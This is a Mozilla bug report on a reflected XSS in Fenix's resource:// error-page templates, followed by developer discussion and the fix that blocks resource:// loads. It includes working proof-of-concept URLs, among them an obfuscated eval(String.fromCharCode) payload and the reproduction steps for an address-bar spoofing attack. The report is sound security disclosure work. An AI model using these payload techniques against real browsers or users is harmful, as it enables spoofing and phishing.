Reflected XSS on resource:// by accessing error page templates in Fenix directly
Categories
(Fenix :: General, task)
Tracking
(firefox84 wontfix, firefox85 fixed, firefox86 fixed)
People
(Reporter: sdna.muneaki.nishimura, Assigned: csadilek)
References
Details
(Keywords: reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main85+])
Attachments
(2 files, 2 obsolete files)
Bug 1657055 was fixed by escaping untrusted data in Kotlin-side code (below).
https://bugzilla.mozilla.org/attachment.cgi?id=9168100&action=diff
But raw innerHTML
s in the collesponding JavaScript-side code were kept remained (below).
https://github.com/mozilla-mobile/android-components/blob/d62f28374d7daf69991474a8f784c7cf8d556fce/components/browser/errorpages/src/main/assets/errorPageScripts.js#L23
These innerHTML
s can still be used for XSS on resource:
origin by loading templates directly (like below).
resource://android/assets/high_risk_error_pages.html?&title=<s>XSS
resource://android/assets/low_and_medium_risk_error_pages.html?&title=<s>XSS
Fenix can open resource:
URLs shared from other apps through an intent (such as SEND
intent).
Also, JavaScript code running on resource:
can read/write error-pages shown in other window.
This means that Attacker can show fake error pages to Victim by sharing malicious resource://
link from other apps such as SNS/SMS.
Then Fenix shows modified error page but the address bar shows an original http(s)://
URL that made the error.
Following URL is demonstration of address bar spoofing attack by using above technique.
See also attached animation GIF.
resource://android/assets/high_risk_error_pages.html?&title=%3Cimg%20src%3D%22%22%20onerror%3D%22eval(String.fromCharCode(100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C96%2C60%2C98%2C117%2C116%2C116%2C111%2C110%2C32%2C111%2C110%2C99%2C108%2C105%2C99%2C107%2C61%2C34%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C98%2C61%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C111%2C112%2C101%2C110%2C40%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C110%2C111%2C110%2C45%2C101%2C120%2C105%2C115%2C116%2C101%2C110%2C116%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C46%2C99%2C111%2C109%2C47%2C39%2C41%2C59%2C115%2C101%2C116%2C84%2C105%2C109%2C101%2C111%2C117%2C116%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C123%2C98%2C46%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C39%2C60%2C104%2C49%2C62%2C72%2C101%2C108%2C108%2C111%2C32%2C102%2C114%2C111%2C109%2C32%2C70%2C97%2C107%2C101%2C32%2C71%2C111%2C111%2C103%2C108%2C101%2C60%2C47%2C104%2C49%2C62%2C39%2C125%2C44%2C50%2C48%2C48%2C48%2C41%2C34%2C62%2C65%2C100%2C100%2C114%2C101%2C115%2C115%2C32%2C66%2C97%2C114%2C32%2C83%2C112%2C111%2C111%2C102%2C105%2C110%2C103%2C60%2C47%2C98%2C117%2C116%2C116%2C111%2C110%2C62%2C96))%22%3E
Steps to reproduce:
- Open the above
resource:
link in Fenix - Following
<button>
tag is shown inhigh_risk_error_pages.html
template by XSS
<button onclick="window.b=window.open('https://non-existent.google.com/');setTimeout(function(){b.document.body.innerHTML='<h1>Hello from Fake Google</h1>'},2000)">Address Bar Spoofing</button>
- Taps the button, then
https://non-existent.google.com
is opened in new window - Fenix shows
Address Not Found
error page on the window because accessed domain is non-existent - Parent XSSed
resource:
page still have the access to the error page at 4), and page is manipulated. - Address bar in the child window still shows
https://non-existent.google.com
Updated•4 years ago
|
Comment 1•4 years ago
|
||
Hey Muneaki. Thanks for retesting!
Generally, when you know you're going to test our patches (e.g., in Bug 1657055), it would be very much preferred if you got directly involved during patch development. We usually consider this as a contributing factor for considering the report as a high quality report (cf. https://www.mozilla.org/en-US/security/client-bug-bounty/) ;-)
Reporter | ||
Comment 2•4 years ago
|
||
(In reply to Frederik Braun [:freddy] from comment #1)
Generally, when you know you're going to test our patches (e.g., in Bug 1657055), it would be very much preferred if you got directly involved during patch development. We usually consider this as a contributing factor for considering the report as a high quality report (cf. https://www.mozilla.org/en-US/security/client-bug-bounty/) ;-)
I'm sorry Frederik. I found this attack scenario today, so I couldn't make it during patch development.
I will do that next time as far as possible.
Comment 3•4 years ago
|
||
Please don't get me wrong. No need to apologize. We're very, very appreciative of your work here! :-)
Reporter | ||
Comment 4•4 years ago
|
||
In addition to the above, the following URL also has the same issue.
resource://android/assets/error_page_js.html?title=title&description=%27%22%3E%3Cs%3Edescription
The injection point is below.
https://github.com/mozilla-mobile/android-components/blob/48c1b1de3186d2e2437d7f2e72f5ef1097cc5174/components/browser/errorpages/src/main/assets/error_page_js.html#L28
Updated•4 years ago
|
Updated•4 years ago
|
Updated•4 years ago
|
Updated•4 years ago
|
Comment 7•4 years ago
|
||
Petru did https://github.com/mozilla-mobile/fenix/pull/16834 fix this issue?
Comment 8•4 years ago
|
||
It did not.
But just yesterday csadilek merged https://github.com/mozilla-mobile/android-components/pull/9349 based on which resource
URIs will not be loaded anymore.
So I think this can be closed now.
Updated•4 years ago
|
Comment 9•4 years ago
|
||
Please uplift this to the AC70 branch when you're comfortable doing so.
Assignee | ||
Comment 10•4 years ago
|
||
Sure, done. Uplift PR: https://github.com/mozilla-mobile/android-components/pull/9362
Comment 11•4 years ago
|
||
uplift |
AC70 Uplift (for Fenix 85):
https://github.com/mozilla-mobile/android-components/commit/a83eff8283e5e1ac43c47743303e58e76e7c2cca
Comment 12•4 years ago
•
|
||
The JS source code introduced in https://github.com/mozilla-mobile/fenix/pull/16834, specifically the code in highRiskErrorPages.js and lowMediumErrorPages.js allow for an easy XSS if the URL query parameters can be user-controlled.
Even if the about-pages that are used to load these JavaScript files are not susceptible to loads with user-controlled parameters, I am assuming the JS files are made available under an internal scheme (which is it? resource://
?), they can be misused in other contexts:
As a stepping stone to bypass a CSP that is supposd to secure web-hosted content or as a bypass for the CSP of our internal pages (e.g., CVE-2018-5175)
If possible, we should get rid of innerHTML
and go back to string interpolation or we will need to pull in an HTML Sanitizer (privileged JavaScript can use sanitize
of the nsIParserUtils interface).
Comment 13•4 years ago
|
||
Addind csadilek to this discussion ^^.
I don't know how an attacker could modify the js files or somehow direct the app to misuse them.
I am assuming the JS files are made available under an internal scheme (which is it? resource://?)
The .js files are in the same place as the .html files.
These files could have been accessed in the browser, in read-only mode but not anymore following https://github.com/mozilla-mobile/fenix/pull/16834.
Comment 14•4 years ago
|
||
I assume the page and the JS file are loaded/reached through an internal URLs (let's use about:neterror
and resource://foo.js
as example values). I think my comment boils down to a couple of questions:
- Do we have a mechanism in place to prevent random websites from opening these error pages with a pop-up, iframe, redirect etc.?
Desktop Firefox doesn't allow redirects to pages like about:neterror. Though you could of course redirect to "example.foo" and then show the error page for that name. That's not an issue, as long as the hostname "example.foo" does and can not contain HTML :-))
- Do we have a mechanism in place to prevent websites from loading the JavaScript files used within error pages (e.g., the highRiskErrorPages.js) with a script element?
On Firefox Desktop, we used to have issues with CSP not being properly enforced for web pages that load scripts coming from a resource://
URL.
I think we could be dealing with a different bug (of much lower severity) that endangers unrelated websites which intend to protect themselves with a CSP that is bypassed to buggy JS made available from inside the browser.
Hope that helps
Comment 15•4 years ago
•
|
||
(In reply to Frederik Braun [:freddy] from comment #14)
Thank you!
These are interesting scenarios. I'm afraid I can't do more than help testing. Hoping @csadilek knows better what's happening at lower levels.
- Do we have a mechanism in place to prevent random websites from opening these error pages with a pop-up, iframe, redirect etc.?
If GeckoView fails to load an URI we get a onLoadError
call with the uri and error.
We then evaluate the error depending on which we might return a resource://errorPageHtml
URI that is then loaded by GeckoView.
I would've said that this would allow a website to load an error page in an iframe but I see the iframe able to load an error page in Firefox desktop while not in Fenix. This might need more investigations but maybe there is already a topLevel check or something similar.
(I tested with a simple <iframe src="https://expired.badssl.com/" width="710" height="1080">
)
- Do we have a mechanism in place to prevent websites from loading the JavaScript files used within error pages (e.g., the highRiskErrorPages.js) with a script element?
Tried testing this with a simple jsfiddle and I'm seeing in console
Security Error: Content at https://fiddle.jshell.net/dp6zcy72/show/light/ may not load or link to resource://android/assets/lowMediumErrorPages.js.
<script> source URI is not allowed in this document: “resource://android/assets/lowMediumErrorPages.js”.
I'm not sure where these messages are coming and based on what checks, they're probably a low lower than the app, maybe Christian would know more about these.
But even in the case that a different website loads our .js I'm not sure it could do anything with it. There is no state, no outside communication.
Comment 16•4 years ago
|
||
OK, I think this should be mitigated by the resource: URLs not being easily loaded from content and other evil apps and the documents having a reasonable CSP.
Would still be reasonable if we could shy away from using innerHTML
and use proper templating instead.
Comment 17•4 years ago
|
||
I've created https://github.com/mozilla-mobile/fenix/issues/17414 on Fenix.
Not sure about the priority of this though. I understand this being more of a "eng-health" type of issue but I think the needed changes will be pretty big.
Comment 18•4 years ago
|
||
thanks!
Assignee | ||
Comment 19•4 years ago
|
||
Thanks Frederik and Petru. For 1684761 we stopped allowing loads of resource://
, content://
and even file://
via the app and also via external intents. For this we also verified that GV won't allow loading resource://
from content (see Security error above). So, the two cases above should be handled, afaik.
Updated•4 years ago
|
Updated•4 years ago
|
Updated•4 years ago
|
Comment 20•4 years ago
|
||
Comment 21•4 years ago
|
||
Comment 22•4 years ago
|
||
Updated•4 years ago
|
Updated•4 years ago
|
Updated•2 years ago
|
Updated•8 months ago
|
Description
•